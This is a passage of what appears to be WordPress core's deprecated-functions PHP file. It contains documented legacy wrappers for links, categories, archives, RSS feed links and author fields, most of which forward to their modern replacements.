 * @param string $orderby  Optional. The order to output the links. E.g. 'id', 'name', 'url',
 *                         'description', 'rating', or 'owner'. Default 'name'.
 *                         If you start the name with an underscore, the order will be reversed.
 *                         Specifying 'rand' as the order will return links in a random order.
 * @param int    $limit    Optional. Limit to X entries. If not specified, all entries are shown.
 *                         Default -1.
 * @return array
 */
function get_linkobjectsbyname($cat_name = "noname" , $orderby = 'name', $limit = -1) {
	_deprecated_function( __FUNCTION__, '2.1.0', 'get_bookmarks()' );

	$cat_id = -1;
	$cat = get_term_by('name', $cat_name, 'link_category');
	if ( $cat )
		$cat_id = $cat->term_id;

	return get_linkobjects($cat_id, $orderby, $limit);
}

/**
 * Gets an array of link objects associated with category n.
 *
 * Usage:
 *
 *     $links = get_linkobjects(1);
 *     if ($links) {
 *     	foreach ($links as $link) {
 *     		echo '<li>'.$link->link_name.'<br />'.$link->link_description.'</li>';
 *     	}
 *     }
 *
 * Fields are:
 *
 * - link_id
 * - link_url
 * - link_name
 * - link_image
 * - link_target
 * - link_category
 * - link_description
 * - link_visible
 * - link_owner
 * - link_rating
 * - link_updated
 * - link_rel
 * - link_notes
 *
 * @since 1.0.1
 * @deprecated 2.1.0 Use get_bookmarks()
 * @see get_bookmarks()
 *
 * @param int    $category Optional. The category to use. If no category supplied, uses all.
 *                         Default 0.
 * @param string $orderby  Optional. The order to output the links. E.g. 'id', 'name', 'url',
 *                         'description', 'rating', or 'owner'. Default 'name'.
 *                         If you start the name with an underscore, the order will be reversed.
 *                         Specifying 'rand' as the order will return links in a random order.
 * @param int    $limit    Optional. Limit to X entries. If not specified, all entries are shown.
 *                         Default 0.
 * @return array
 */
function get_linkobjects($category = 0, $orderby = 'name', $limit = 0) {
	_deprecated_function( __FUNCTION__, '2.1.0', 'get_bookmarks()' );

	$links = get_bookmarks( array( 'category' => $category, 'orderby' => $orderby, 'limit' => $limit ) ) ;

	$links_array = array();
	foreach ($links as $link)
		$links_array[] = $link;

	return $links_array;
}

/**
 * Gets the links associated with category 'cat_name' and display rating stars/chars.
 *
 * @since 0.71
 * @deprecated 2.1.0 Use get_bookmarks()
 * @see get_bookmarks()
 *
 * @param string $cat_name         Optional. The category name to use. If no match is found, uses all.
 *                                 Default 'noname'.
 * @param string $before           Optional. The HTML to output before the link. Default empty.
 * @param string $after            Optional. The HTML to output after the link. Default '<br />'.
 * @param string $between          Optional. The HTML to output between the link/image and its description.
 *                                 Not used if no image or $show_images is true. Default ' '.
 * @param bool   $show_images      Optional. Whether to show images (if defined). Default true.
 * @param string $orderby          Optional. The order to output the links. E.g. 'id', 'name', 'url',
 *                                 'description', 'rating', or 'owner'. Default 'id'.
 *                                 If you start the name with an underscore, the order will be reversed.
 *                                 Specifying 'rand' as the order will return links in a random order.
 * @param bool   $show_description Optional. Whether to show the description if show_images=false/not defined.
 *                                 Default true.
 * @param int    $limit		       Optional. Limit to X entries. If not specified, all entries are shown.
 *                                 Default -1.
 * @param int    $show_updated     Optional. Whether to show last updated timestamp. Default 0.
 */
function get_linksbyname_withrating($cat_name = "noname", $before = '', $after = '<br />', $between = " ",
									$show_images = true, $orderby = 'id', $show_description = true, $limit = -1, $show_updated = 0) {
	_deprecated_function( __FUNCTION__, '2.1.0', 'get_bookmarks()' );

	get_linksbyname($cat_name, $before, $after, $between, $show_images, $orderby, $show_description, true, $limit, $show_updated);
}

/**
 * Gets the links associated with category n and display rating stars/chars.
 *
 * @since 0.71
 * @deprecated 2.1.0 Use get_bookmarks()
 * @see get_bookmarks()
 *
 * @param int    $category         Optional. The category to use. If no category supplied, uses all.
 *                                 Default 0.
 * @param string $before           Optional. The HTML to output before the link. Default empty.
 * @param string $after            Optional. The HTML to output after the link. Default '<br />'.
 * @param string $between          Optional. The HTML to output between the link/image and its description.
 *                                 Not used if no image or $show_images is true. Default ' '.
 * @param bool   $show_images      Optional. Whether to show images (if defined). Default true.
 * @param string $orderby          Optional. The order to output the links. E.g. 'id', 'name', 'url',
 *                                 'description', 'rating', or 'owner'. Default 'id'.
 *                                 If you start the name with an underscore, the order will be reversed.
 *                                 Specifying 'rand' as the order will return links in a random order.
 * @param bool   $show_description Optional. Whether to show the description if show_images=false/not defined.
 *                                 Default true.
 * @param int    $limit		       Optional. Limit to X entries. If not specified, all entries are shown.
 *                                 Default -1.
 * @param int    $show_updated     Optional. Whether to show last updated timestamp. Default 0.
 */
function get_links_withrating($category = -1, $before = '', $after = '<br />', $between = " ", $show_images = true,
							$orderby = 'id', $show_description = true, $limit = -1, $show_updated = 0) {
	_deprecated_function( __FUNCTION__, '2.1.0', 'get_bookmarks()' );

	get_links($category, $before, $after, $between, $show_images, $orderby, $show_description, true, $limit, $show_updated);
}

/**
 * Gets the auto_toggle setting.
 *
 * @since 0.71
 * @deprecated 2.1.0
 *
 * @param int $id The category to get. If no category supplied uses 0
 * @return int Only returns 0.
 */
function get_autotoggle($id = 0) {
	_deprecated_function( __FUNCTION__, '2.1.0' );
	return 0;
}

/**
 * Lists categories.
 *
 * @since 0.71
 * @deprecated 2.1.0 Use wp_list_categories()
 * @see wp_list_categories()
 *
 * @param int $optionall
 * @param string $all
 * @param string $sort_column
 * @param string $sort_order
 * @param string $file
 * @param bool $list
 * @param int $optiondates
 * @param int $optioncount
 * @param int $hide_empty
 * @param int $use_desc_for_title
 * @param bool $children
 * @param int $child_of
 * @param int $categories
 * @param int $recurse
 * @param string $feed
 * @param string $feed_image
 * @param string $exclude
 * @param bool $hierarchical
 * @return null|false
 */
function list_cats($optionall = 1, $all = 'All', $sort_column = 'ID', $sort_order = 'asc', $file = '', $list = true, $optiondates = 0,
				$optioncount = 0, $hide_empty = 1, $use_desc_for_title = 1, $children=false, $child_of=0, $categories=0,
				$recurse=0, $feed = '', $feed_image = '', $exclude = '', $hierarchical=false) {
	_deprecated_function( __FUNCTION__, '2.1.0', 'wp_list_categories()' );

	$query = compact('optionall', 'all', 'sort_column', 'sort_order', 'file', 'list', 'optiondates', 'optioncount', 'hide_empty', 'use_desc_for_title', 'children',
		'child_of', 'categories', 'recurse', 'feed', 'feed_image', 'exclude', 'hierarchical');
	return wp_list_cats($query);
}

/**
 * Lists categories.
 *
 * @since 1.2.0
 * @deprecated 2.1.0 Use wp_list_categories()
 * @see wp_list_categories()
 *
 * @param string|array $args
 * @return null|string|false
 */
function wp_list_cats($args = '') {
	_deprecated_function( __FUNCTION__, '2.1.0', 'wp_list_categories()' );

	$parsed_args = wp_parse_args( $args );

	// Map to new names.
	if ( isset($parsed_args['optionall']) && isset($parsed_args['all']))
		$parsed_args['show_option_all'] = $parsed_args['all'];
	if ( isset($parsed_args['sort_column']) )
		$parsed_args['orderby'] = $parsed_args['sort_column'];
	if ( isset($parsed_args['sort_order']) )
		$parsed_args['order'] = $parsed_args['sort_order'];
	if ( isset($parsed_args['optiondates']) )
		$parsed_args['show_last_update'] = $parsed_args['optiondates'];
	if ( isset($parsed_args['optioncount']) )
		$parsed_args['show_count'] = $parsed_args['optioncount'];
	if ( isset($parsed_args['list']) )
		$parsed_args['style'] = $parsed_args['list'] ? 'list' : 'break';
	$parsed_args['title_li'] = '';

	return wp_list_categories($parsed_args);
}

/**
 * Deprecated method for generating a drop-down of categories.
 *
 * @since 0.71
 * @deprecated 2.1.0 Use wp_dropdown_categories()
 * @see wp_dropdown_categories()
 *
 * @param int $optionall
 * @param string $all
 * @param string $orderby
 * @param string $order
 * @param int $show_last_update
 * @param int $show_count
 * @param int $hide_empty
 * @param bool $optionnone
 * @param int $selected
 * @param int $exclude
 * @return string
 */
function dropdown_cats($optionall = 1, $all = 'All', $orderby = 'ID', $order = 'asc',
		$show_last_update = 0, $show_count = 0, $hide_empty = 1, $optionnone = false,
		$selected = 0, $exclude = 0) {
	_deprecated_function( __FUNCTION__, '2.1.0', 'wp_dropdown_categories()' );

	$show_option_all = '';
	if ( $optionall )
		$show_option_all = $all;

	$show_option_none = '';
	if ( $optionnone )
		$show_option_none = __('None');

	$vars = compact('show_option_all', 'show_option_none', 'orderby', 'order',
					'show_last_update', 'show_count', 'hide_empty', 'selected', 'exclude');
	$query = add_query_arg($vars, '');
	return wp_dropdown_categories($query);
}

/**
 * Lists authors.
 *
 * @since 1.2.0
 * @deprecated 2.1.0 Use wp_list_authors()
 * @see wp_list_authors()
 *
 * @param bool $optioncount
 * @param bool $exclude_admin
 * @param bool $show_fullname
 * @param bool $hide_empty
 * @param string $feed
 * @param string $feed_image
 * @return null|string
 */
function list_authors($optioncount = false, $exclude_admin = true, $show_fullname = false, $hide_empty = true, $feed = '', $feed_image = '') {
	_deprecated_function( __FUNCTION__, '2.1.0', 'wp_list_authors()' );

	$args = compact('optioncount', 'exclude_admin', 'show_fullname', 'hide_empty', 'feed', 'feed_image');
	return wp_list_authors($args);
}

/**
 * Retrieves a list of post categories.
 *
 * @since 1.0.1
 * @deprecated 2.1.0 Use wp_get_post_categories()
 * @see wp_get_post_categories()
 *
 * @param int $blogid Not Used
 * @param int $post_id
 * @return array
 */
function wp_get_post_cats($blogid = '1', $post_id = 0) {
	_deprecated_function( __FUNCTION__, '2.1.0', 'wp_get_post_categories()' );
	return wp_get_post_categories($post_id);
}

/**
 * Sets the categories that the post ID belongs to.
 *
 * @since 1.0.1
 * @deprecated 2.1.0
 * @deprecated Use wp_set_post_categories()
 * @see wp_set_post_categories()
 *
 * @param int $blogid Not used
 * @param int $post_id
 * @param array $post_categories
 * @return bool|mixed
 */
function wp_set_post_cats($blogid = '1', $post_id = 0, $post_categories = array()) {
	_deprecated_function( __FUNCTION__, '2.1.0', 'wp_set_post_categories()' );
	return wp_set_post_categories($post_id, $post_categories);
}

/**
 * Retrieves a list of archives.
 *
 * @since 0.71
 * @deprecated 2.1.0 Use wp_get_archives()
 * @see wp_get_archives()
 *
 * @param string $type
 * @param string $limit
 * @param string $format
 * @param string $before
 * @param string $after
 * @param bool $show_post_count
 * @return string|null
 */
function get_archives($type='', $limit='', $format='html', $before = '', $after = '', $show_post_count = false) {
	_deprecated_function( __FUNCTION__, '2.1.0', 'wp_get_archives()' );
	$args = compact('type', 'limit', 'format', 'before', 'after', 'show_post_count');
	return wp_get_archives($args);
}

/**
 * Returns or Prints link to the author's posts.
 *
 * @since 1.2.0
 * @deprecated 2.1.0 Use get_author_posts_url()
 * @see get_author_posts_url()
 *
 * @param bool $display
 * @param int $author_id
 * @param string $author_nicename Optional.
 * @return string|null
 */
function get_author_link($display, $author_id, $author_nicename = '') {
	_deprecated_function( __FUNCTION__, '2.1.0', 'get_author_posts_url()' );

	$link = get_author_posts_url($author_id, $author_nicename);

	if ( $display )
		echo $link;
	return $link;
}

/**
 * Print list of pages based on arguments.
 *
 * @since 0.71
 * @deprecated 2.1.0 Use wp_link_pages()
 * @see wp_link_pages()
 *
 * @param string $before
 * @param string $after
 * @param string $next_or_number
 * @param string $nextpagelink
 * @param string $previouspagelink
 * @param string $pagelink
 * @param string $more_file
 * @return string
 */
function link_pages($before='<br />', $after='<br />', $next_or_number='number', $nextpagelink='next page', $previouspagelink='previous page',
					$pagelink='%', $more_file='') {
	_deprecated_function( __FUNCTION__, '2.1.0', 'wp_link_pages()' );

	$args = compact('before', 'after', 'next_or_number', 'nextpagelink', 'previouspagelink', 'pagelink', 'more_file');
	return wp_link_pages($args);
}

/**
 * Get value based on option.
 *
 * @since 0.71
 * @deprecated 2.1.0 Use get_option()
 * @see get_option()
 *
 * @param string $option
 * @return string
 */
function get_settings($option) {
	_deprecated_function( __FUNCTION__, '2.1.0', 'get_option()' );

	return get_option($option);
}

/**
 * Print the permalink of the current post in the loop.
 *
 * @since 0.71
 * @deprecated 1.2.0 Use the_permalink()
 * @see the_permalink()
 */
function permalink_link() {
	_deprecated_function( __FUNCTION__, '1.2.0', 'the_permalink()' );
	the_permalink();
}

/**
 * Print the permalink to the RSS feed.
 *
 * @since 0.71
 * @deprecated 2.3.0 Use the_permalink_rss()
 * @see the_permalink_rss()
 *
 * @param string $deprecated
 */
function permalink_single_rss($deprecated = '') {
	_deprecated_function( __FUNCTION__, '2.3.0', 'the_permalink_rss()' );
	the_permalink_rss();
}

/**
 * Gets the links associated with category.
 *
 * @since 1.0.1
 * @deprecated 2.1.0 Use wp_list_bookmarks()
 * @see wp_list_bookmarks()
 *
 * @param string $args a query string
 * @return null|string
 */
function wp_get_links($args = '') {
	_deprecated_function( __FUNCTION__, '2.1.0', 'wp_list_bookmarks()' );

	if ( ! str_contains( $args, '=' ) ) {
		$cat_id = $args;
		$args = add_query_arg( 'category', $cat_id, $args );
	}

	$defaults = array(
		'after' => '<br />',
		'before' => '',
		'between' => ' ',
		'categorize' => 0,
		'category' => '',
		'echo' => true,
		'limit' => -1,
		'orderby' => 'name',
		'show_description' => true,
		'show_images' => true,
		'show_rating' => false,
		'show_updated' => true,
		'title_li' => '',
	);

	$parsed_args = wp_parse_args( $args, $defaults );

	return wp_list_bookmarks($parsed_args);
}

/**
 * Gets the links associated with category by ID.
 *
 * @since 0.71
 * @deprecated 2.1.0 Use get_bookmarks()
 * @see get_bookmarks()
 *
 * @param int    $category         Optional. The category to use. If no category supplied uses all.
 *                                 Default 0.
 * @param string $before           Optional. The HTML to output before the link. Default empty.
 * @param string $after            Optional. The HTML to output after the link. Default '<br />'.
 * @param string $between          Optional. The HTML to output between the link/image and its description.
 *                                 Not used if no image or $show_images is true. Default ' '.
 * @param bool   $show_images      Optional. Whether to show images (if defined). Default true.
 * @param string $orderby          Optional. The order to output the links. E.g. 'id', 'name', 'url',
 *                                 'description', 'rating', or 'owner'. Default 'name'.
 *                                 If you start the name with an underscore, the order will be reversed.
 *                                 Specifying 'rand' as the order will return links in a random order.
 * @param bool   $show_description Optional. Whether to show the description if show_images=false/not defined.
 *                                 Default true.
 * @param bool   $show_rating      Optional. Show rating stars/chars. Default false.
 * @param int    $limit            Optional. Limit to X entries. If not specified, all entries are shown.
 *                                 Default -1.
 * @param int    $show_updated     Optional. Whether to show last updated timestamp. Default 1.
 * @param bool   $display          Whether to display the results, or return them instead.
 * @return null|string
 */
function get_links($category = -1, $before = '', $after = '<br />', $between = ' ', $show_images = true, $orderby = 'name',
			$show_description = true, $show_rating = false, $limit = -1, $show_updated = 1, $display = true) {
	_deprecated_function( __FUNCTION__, '2.1.0', 'get_bookmarks()' );

	$order = 'ASC';
	if ( str_starts_with($orderby, '_') ) {
		$order = 'DESC';
		$orderby = substr($orderby, 1);
	}

	if ( $category == -1 ) // get_bookmarks() uses '' to signify all categories.
		$category = '';

	$results = get_bookmarks(array('category' => $category, 'orderby' => $orderby, 'order' => $order, 'show_updated' => $show_updated, 'limit' => $limit));

	if ( !$results )
		return;

	$output = '';

	foreach ( (array) $results as $row ) {
		if ( !isset($row->recently_updated) )
			$row->recently_updated = false;
		$output .= $before;
		if ( $show_updated && $row->recently_updated )
			$output .= get_option('links_recently_updated_prepend');
		$the_link = '#';
		if ( !empty($row->link_url) )
			$the_link = esc_url($row->link_url);
		$rel = $row->link_rel;
		if ( '' != $rel )
			$rel = ' rel="' . $rel . '"';

		$desc = esc_attr(sanitize_bookmark_field('link_description', $row->link_description, $row->link_id, 'display'));
		$name = esc_attr(sanitize_bookmark_field('link_name', $row->link_name, $row->link_id, 'display'));
		$title = $desc;

		if ( $show_updated )
			if ( !str_starts_with($row->link_updated_f, '00') )
				$title .= ' ('.__('Last updated') . ' ' . gmdate(get_option('links_updated_date_format'), $row->link_updated_f + (get_option('gmt_offset') * HOUR_IN_SECONDS)) . ')';

		if ( '' != $title )
			$title = ' title="' . $title . '"';

		$alt = ' alt="' . $name . '"';

		$target = $row->link_target;
		if ( '' != $target )
			$target = ' target="' . $target . '"';

		$output .= '<a href="' . $the_link . '"' . $rel . $title . $target. '>';

		if ( $row->link_image != null && $show_images ) {
			if ( str_contains( $row->link_image, 'http' ) )
				$output .= "<img src=\"$row->link_image\" $alt $title />";
			else // If it's a relative path.
				$output .= "<img src=\"" . get_option('siteurl') . "$row->link_image\" $alt $title />";
		} else {
			$output .= $name;
		}

		$output .= '</a>';

		if ( $show_updated && $row->recently_updated )
			$output .= get_option('links_recently_updated_append');

		if ( $show_description && '' != $desc )
			$output .= $between . $desc;

		if ($show_rating) {
			$output .= $between . get_linkrating($row);
		}

		$output .= "$after\n";
	} // End while.

	if ( !$display )
		return $output;
	echo $output;
}

/**
 * Output entire list of links by category.
 *
 * Output a list of all links, listed by category, using the settings in
 * $wpdb->linkcategories and output it as a nested HTML unordered list.
 *
 * @since 1.0.1
 * @deprecated 2.1.0 Use wp_list_bookmarks()
 * @see wp_list_bookmarks()
 *
 * @param string $order Sort link categories by 'name' or 'id'
 */
function get_links_list($order = 'name') {
	_deprecated_function( __FUNCTION__, '2.1.0', 'wp_list_bookmarks()' );

	$order = strtolower($order);

	// Handle link category sorting.
	$direction = 'ASC';
	if ( str_starts_with( $order, '_' ) ) {
		$direction = 'DESC';
		$order = substr($order,1);
	}

	if ( !isset($direction) )
		$direction = '';

	$cats = get_categories(array('type' => 'link', 'orderby' => $order, 'order' => $direction, 'hierarchical' => 0));

	// Display each category.
	if ( $cats ) {
		foreach ( (array) $cats as $cat ) {
			// Handle each category.

			// Display the category name.
			echo '  <li id="linkcat-' . $cat->term_id . '" class="linkcat"><h2>' . apply_filters('link_category', $cat->name ) . "</h2>\n\t<ul>\n";
			// Call get_links() with all the appropriate params.
			get_links($cat->term_id, '<li>', "</li>", "\n", true, 'name', false);

			// Close the last category.
			echo "\n\t</ul>\n</li>\n";
		}
	}
}

/**
 * Show the link to the links popup and the number of links.
 *
 * @since 0.71
 * @deprecated 2.1.0
 *
 * @param string $text the text of the link
 * @param int $width the width of the popup window
 * @param int $height the height of the popup window
 * @param string $file the page to open in the popup window
 * @param bool $count the number of links in the db
 */
function links_popup_script($text = 'Links', $width=400, $height=400, $file='links.all.php', $count = true) {
	_deprecated_function( __FUNCTION__, '2.1.0' );
}

/**
 * Legacy function that retrieved the value of a link's link_rating field.
 *
 * @since 1.0.1
 * @deprecated 2.1.0 Use sanitize_bookmark_field()
 * @see sanitize_bookmark_field()
 *
 * @param object $link Link object.
 * @return mixed Value of the 'link_rating' field, false otherwise.
 */
function get_linkrating( $link ) {
	_deprecated_function( __FUNCTION__, '2.1.0', 'sanitize_bookmark_field()' );
	return sanitize_bookmark_field('link_rating', $link->link_rating, $link->link_id, 'display');
}

/**
 * Gets the name of category by ID.
 *
 * @since 0.71
 * @deprecated 2.1.0 Use get_category()
 * @see get_category()
 *
 * @param int $id The category to get. If no category supplied uses 0
 * @return string
 */
function get_linkcatname($id = 0) {
	_deprecated_function( __FUNCTION__, '2.1.0', 'get_category()' );

	$id = (int) $id;

	if ( empty($id) )
		return '';

	$cats = wp_get_link_cats($id);

	if ( empty($cats) || ! is_array($cats) )
		return '';

	$cat_id = (int) $cats[0]; // Take the first cat.

	$cat = get_category($cat_id);
	return $cat->name;
}

/**
 * Print RSS comment feed link.
 *
 * @since 1.0.1
 * @deprecated 2.5.0 Use post_comments_feed_link()
 * @see post_comments_feed_link()
 *
 * @param string $link_text
 */
function comments_rss_link($link_text = 'Comments RSS') {
	_deprecated_function( __FUNCTION__, '2.5.0', 'post_comments_feed_link()' );
	post_comments_feed_link($link_text);
}

/**
 * Print/Return link to category RSS2 feed.
 *
 * @since 1.2.0
 * @deprecated 2.5.0 Use get_category_feed_link()
 * @see get_category_feed_link()
 *
 * @param bool $display
 * @param int $cat_id
 * @return string
 */
function get_category_rss_link($display = false, $cat_id = 1) {
	_deprecated_function( __FUNCTION__, '2.5.0', 'get_category_feed_link()' );

	$link = get_category_feed_link($cat_id, 'rss2');

	if ( $display )
		echo $link;
	return $link;
}

/**
 * Print/Return link to author RSS feed.
 *
 * @since 1.2.0
 * @deprecated 2.5.0 Use get_author_feed_link()
 * @see get_author_feed_link()
 *
 * @param bool $display
 * @param int $author_id
 * @return string
 */
function get_author_rss_link($display = false, $author_id = 1) {
	_deprecated_function( __FUNCTION__, '2.5.0', 'get_author_feed_link()' );

	$link = get_author_feed_link($author_id);
	if ( $display )
		echo $link;
	return $link;
}

/**
 * Return link to the post RSS feed.
 *
 * @since 1.5.0
 * @deprecated 2.2.0 Use get_post_comments_feed_link()
 * @see get_post_comments_feed_link()
 *
 * @return string
 */
function comments_rss() {
	_deprecated_function( __FUNCTION__, '2.2.0', 'get_post_comments_feed_link()' );
	return esc_url( get_post_comments_feed_link() );
}

/**
 * An alias of wp_create_user().
 *
 * @since 2.0.0
 * @deprecated 2.0.0 Use wp_create_user()
 * @see wp_create_user()
 *
 * @param string $username The user's username.
 * @param string $password The user's password.
 * @param string $email    The user's email.
 * @return int The new user's ID.
 */
function create_user($username, $password, $email) {
	_deprecated_function( __FUNCTION__, '2.0.0', 'wp_create_user()' );
	return wp_create_user($username, $password, $email);
}

/**
 * Unused function.
 *
 * @deprecated 2.5.0
 */
function gzip_compression() {
	_deprecated_function( __FUNCTION__, '2.5.0' );
	return false;
}

/**
 * Retrieve an array of comment data about comment $comment_id.
 *
 * @since 0.71
 * @deprecated 2.7.0 Use get_comment()
 * @see get_comment()
 *
 * @param int $comment_id The ID of the comment
 * @param int $no_cache Whether to use the cache (cast to bool)
 * @param bool $include_unapproved Whether to include unapproved comments
 * @return array The comment data
 */
function get_commentdata( $comment_id, $no_cache = 0, $include_unapproved = false ) {
	_deprecated_function( __FUNCTION__, '2.7.0', 'get_comment()' );
	return get_comment($comment_id, ARRAY_A);
}

/**
 * Retrieve the category name by the category ID.
 *
 * @since 0.71
 * @deprecated 2.8.0 Use get_cat_name()
 * @see get_cat_name()
 *
 * @param int $cat_id Category ID
 * @return string category name
 */
function get_catname( $cat_id ) {
	_deprecated_function( __FUNCTION__, '2.8.0', 'get_cat_name()' );
	return get_cat_name( $cat_id );
}

/**
 * Retrieve category children list separated before and after the term IDs.
 *
 * @since 1.2.0
 * @deprecated 2.8.0 Use get_term_children()
 * @see get_term_children()
 *
 * @param int    $id      Category ID to retrieve children.
 * @param string $before  Optional. Prepend before category term ID. Default '/'.
 * @param string $after   Optional. Append after category term ID. Default empty string.
 * @param array  $visited Optional. Category Term IDs that have already been added.
 *                        Default empty array.
 * @return string
 */
function get_category_children( $id, $before = '/', $after = '', $visited = array() ) {
	_deprecated_function( __FUNCTION__, '2.8.0', 'get_term_children()' );
	if ( 0 == $id )
		return '';

	$chain = '';
	/** TODO: Consult hierarchy */
	$cat_ids = get_all_category_ids();
	foreach ( (array) $cat_ids as $cat_id ) {
		if ( $cat_id == $id )
			continue;

		$category = get_category( $cat_id );
		if ( is_wp_error( $category ) )
			return $category;
		if ( $category->parent == $id && !in_array( $category->term_id, $visited ) ) {
			$visited[] = $category->term_id;
			$chain .= $before.$category->term_id.$after;
			$chain .= get_category_children( $category->term_id, $before, $after );
		}
	}
	return $chain;
}

/**
 * Retrieves all category IDs.
 *
 * @since 2.0.0
 * @deprecated 4.0.0 Use get_terms()
 * @see get_terms()
 *
 * @link https://developer.wordpress.org/reference/functions/get_all_category_ids/
 *
 * @return int[] List of all of the category IDs.
 */
function get_all_category_ids() {
	_deprecated_function( __FUNCTION__, '4.0.0', 'get_terms()' );

	$cat_ids = get_terms(
		array(
			'taxonomy' => 'category',
			'fields'   => 'ids',
			'get'      => 'all',
		)
	);

	return $cat_ids;
}

/**
 * Retrieve the description of the author of the current post.
 *
 * @since 1.5.0
 * @deprecated 2.8.0 Use get_the_author_meta()
 * @see get_the_author_meta()
 *
 * @return string The author's description.
 */
function get_the_author_description() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'description\')' );
	return get_the_author_meta('description');
}

/**
 * Display the description of the author of the current post.
 *
 * @since 1.0.0
 * @deprecated 2.8.0 Use the_author_meta()
 * @see the_author_meta()
 */
function the_author_description() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'description\')' );
	the_author_meta('description');
}

/**
 * Retrieve the login name of the author of the current post.
 *
 * @since 1.5.0
 * @deprecated 2.8.0 Use get_the_author_meta()
 * @see get_the_author_meta()
 *
 * @return string The author's login name (username).
 */
function get_the_author_login() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'login\')' );
	return get_the_author_meta('login');
}

/**
 * Display the login name of the author of the current post.
 *
 * @since 0.71
 * @deprecated 2.8.0 Use the_author_meta()
 * @see the_author_meta()
 */
function the_author_login() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'login\')' );
	the_author_meta('login');
}

/**
 * Retrieve the first name of the author of the current post.
 *
 * @since 1.5.0
 * @deprecated 2.8.0 Use get_the_author_meta()
 * @see get_the_author_meta()
 *
 * @return string The author's first name.
 */
function get_the_author_firstname() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'first_name\')' );
	return get_the_author_meta('first_name');
}

/**
 * Display the first name of the author of the current post.
 *
 * @since 0.71
 * @deprecated 2.8.0 Use the_author_meta()
 * @see the_author_meta()
 */
function the_author_firstname() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'first_name\')' );
	the_author_meta('first_name');
}

/**
 * Retrieve the last name of the author of the current post.
 *
 * @since 1.5.0
 * @deprecated 2.8.0 Use get_the_author_meta()
 * @see get_the_author_meta()
 *
 * @return string The author's last name.
 */
function get_the_author_lastname() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'last_name\')' );
	return get_the_author_meta('last_name');
}

/**
 * Display the last name of the author of the current post.
 *
 * @since 0.71
 * @deprecated 2.8.0 Use the_author_meta()
 * @see the_author_meta()
 */
function the_author_lastname() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'last_name\')' );
	the_author_meta('last_name');
}

/**
 * Retrieve the nickname of the author of the current post.
 *
 * @since 1.5.0
 * @deprecated 2.8.0 Use get_the_author_meta()
 * @see get_the_author_meta()
 *
 * @return string The author's nickname.
 */
function get_the_author_nickname() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'nickname\')' );
	return get_the_author_meta('nickname');
}

/**
 * Display the nickname of the author of the current post.
 *
 * @since 0.71
 * @deprecated 2.8.0 Use the_author_meta()
 * @see the_author_meta()
 */
function the_author_nickname() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'nickname\')' );
	the_author_meta('nickname');
}

/**
 * Retrieve the email of the author of the current post.
 *
 * @since 1.5.0
 * @deprecated 2.8.0 Use get_the_author_meta()
 * @see get_the_author_meta()
 *
 * @return string The author's username.
 */
function get_the_author_email() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'email\')' );
	return get_the_author_meta('email');
}

/**
 * Display the email of the author of the current post.
 *
 * @since 0.71
 * @deprecated 2.8.0 Use the_author_meta()
 * @see the_author_meta()
 */
function the_author_email() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'email\')' );
	the_author_meta('email');
}

/**
 * Retrieve the ICQ number of the author of the current post.
 *
 * @since 1.5.0
 * @deprecated 2.8.0 Use get_the_author_meta()
 * @see get_the_author_meta()
 *
 * @return string The author's ICQ number.
 */
function get_the_author_icq() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'icq\')' );
	return get_the_author_meta('icq');
}

/**
 * Display the ICQ number of the author of the current post.
 *
 * @since 0.71
 * @deprecated 2.8.0 Use the_author_meta()
 * @see the_author_meta()
 */
function the_author_icq() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'icq\')' );
	the_author_meta('icq');
}

/**
 * Retrieve the Yahoo! IM name of the author of the current post.
 *
 * @since 1.5.0
 * @deprecated 2.8.0 Use get_the_author_meta()
 * @see get_the_author_meta()
 *
 * @return string The author's Yahoo! IM name.
 */
function get_the_author_yim() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'yim\')' );
	return get_the_author_meta('yim');
}

/**
 * Display the Yahoo! IM name of the author of the current post.
 *
 * @since 0.71
 * @deprecated 2.8.0 Use the_author_meta()
 * @see the_author_meta()
 */
function the_author_yim() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'yim\')' );
	the_author_meta('yim');
}

/**
 * Retrieve the MSN address of the author of the current post.
 *
 * @since 1.5.0
 * @deprecated 2.8.0 Use get_the_author_meta()
 * @see get_the_author_meta()
 *
 * @return string The author's MSN address.
 */
function get_the_author_msn() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'msn\')' );
	return get_the_author_meta('msn');
}

/**
 * Display the MSN address of the author of the current post.
 *
 * @since 0.71
 * @deprecated 2.8.0 Use the_author_meta()
 * @see the_author_meta()
 */
function the_author_msn() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'msn\')' );
	the_author_meta('msn');
}

/**
 * Retrieve the AIM address of the author of the current post.
 *
 * @since 1.5.0
 * @deprecated 2.8.0 Use get_the_author_meta()
 * @see get_the_author_meta()
 *
 * @return string The author's AIM address.
 */
function get_the_author_aim() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'aim\')' );
	return get_the_author_meta('aim');
}

/**
 * Display the AIM address of the author of the current post.
 *
 * @since 0.71
 * @deprecated 2.8.0 Use the_author_meta('aim')
 * @see the_author_meta()
 */
function the_author_aim() {
	_deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'aim\')' );
	the_author_meta('aim');
}

/**
 * Retrieve the specified author's preferred display name.
 *
 * @since 1.0.0
 * @deprecated 2.8.0 Use get_the_author_meta()
 * @see get_the_author_meta()
 *
 * @param int $auth_id The ID of the author.
 * @return string The author's display name.
 */
function get_author_name( $auth_id = false ) {
	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'display_name\')' );
